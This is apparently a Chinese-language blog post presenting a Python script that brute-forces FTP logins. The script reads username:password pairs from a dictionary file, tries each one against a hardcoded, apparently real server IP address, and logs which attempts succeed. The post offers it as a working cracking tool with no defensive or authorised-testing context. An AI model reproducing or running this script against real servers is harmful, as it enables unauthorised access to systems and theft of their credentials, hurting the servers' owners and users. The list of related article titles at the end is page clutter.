暴力破解FTP伺服器使用者名稱密碼
破解
今天的例子很簡單,就是用python的FTPLIB模組,登陸ftp伺服器。並嘗試使用者名稱和密碼。
#!/usr/bin/python
#coding:utf-8
import ftplib
import logging
import logging.config
filename=''
logging.config.fileConfig('./logconfig.ini')
__log = logging.getLogger('product')
def ftpconn(host,filename):
fp = open(filename,'r')
for line in fp.readlines():
__log.debug(line)
if not line.strip('\r').strip('\n'):
__log.debug("遍歷完畢,指令碼退出")
break;
loginname = line.split(':')[0]
loginpwd = line.split(':')[1].strip('\r').strip('\n')
try:
ftpconn = ftplib.FTP(host,timeout=2)
ftpconn.login(loginname, loginpwd)
__log.debug("%s login sucess",host)
ftpconn.quit()
#return True
except Exception as e:
__log.debug("login %s failed,name:%s,pwd:%s, ,error info %s",host,loginname,loginpwd,str(e))
#return False
def main():
global filename
filename = 'pwddict.txt'
ftpconn('166.111.174.33',filename)
if __name__ == '__main__':
main()
相關文章
- 更改MYSQL使用者名稱密碼MySql密碼
- git 使用者名稱密碼相關Git密碼
- 隱藏域 使用者名稱密碼密碼
- tortoiseGIT儲存使用者名稱密碼Git密碼
- git儲存使用者名稱與密碼Git密碼
- tomcat設定使用者名稱密碼Tomcat密碼
- ibm網站使用者名稱密碼IBM網站密碼
- 公司網站使用者名稱密碼修改?網站密碼
- 根據教程中,輸錯密碼或使用者名稱後,卻不能返回‘使用者名稱或密碼錯誤’密碼
- Oracle EM Express要求使用者名稱和密碼OracleExpress密碼
- Activiti-Explorer 使用者名稱與密碼密碼
- 修改oracle中的使用者名稱和密碼Oracle密碼
- 百度文庫使用者名稱密碼密碼
- VMWare Server 2.0 的使用者名稱和密碼Server密碼
- 破解本地 mysql 使用者名稱和密碼(轉)MySql密碼
- 使用者名稱和密碼輸入練習密碼
- Tomcat提示“XDB 的伺服器 localhost 要求使用者名稱和密碼”Tomcat伺服器localhost密碼
- 關於登入(使用者名稱,密碼,驗證碼)密碼
- 根據使用者名稱和密碼查詢使用者密碼
- 表單使用者名稱和密碼記住效果密碼
- JavaScript驗證使用者名稱密碼是否為空JavaScript密碼
- 配置samba的訪問密碼和使用者名稱Samba密碼
- wordpress修改繫結的mysql使用者名稱密碼MySql密碼
- win7共享--無需使用者名稱&密碼Win7密碼
- SQL SERVER 使用者名稱、密碼登入判斷SQLServer密碼
- 織夢使用者名稱密碼?織夢提示你的密碼錯誤密碼
- js驗證使用者名稱和密碼為空程式碼JS密碼
- Java 程式碼本地設定Hadoop使用者名稱密碼JavaHadoop密碼
- win10系統svn使用者名稱密碼怎樣更改_win10 svn更換使用者名稱密碼操作方法Win10密碼
- 用Servlet進行使用者名稱和密碼校驗Servlet密碼
- mongodb對資料庫建立使用者名稱和密碼MongoDB資料庫密碼
- dlink預設使用者名稱密碼是什麼密碼
- js 驗證使用者名稱和密碼是否為空JS密碼
- 設定PL/SQL Developer記住使用者名稱密碼SQLDeveloper密碼
- plsql developer怎麼儲存使用者名稱和密碼SQLDeveloper密碼
- InternetExplorer表單及使用者名稱密碼提交密碼
- oracle忘記使用者名稱密碼怎樣恢復Oracle密碼
- 從螢幕上讀入使用者名稱和密碼密碼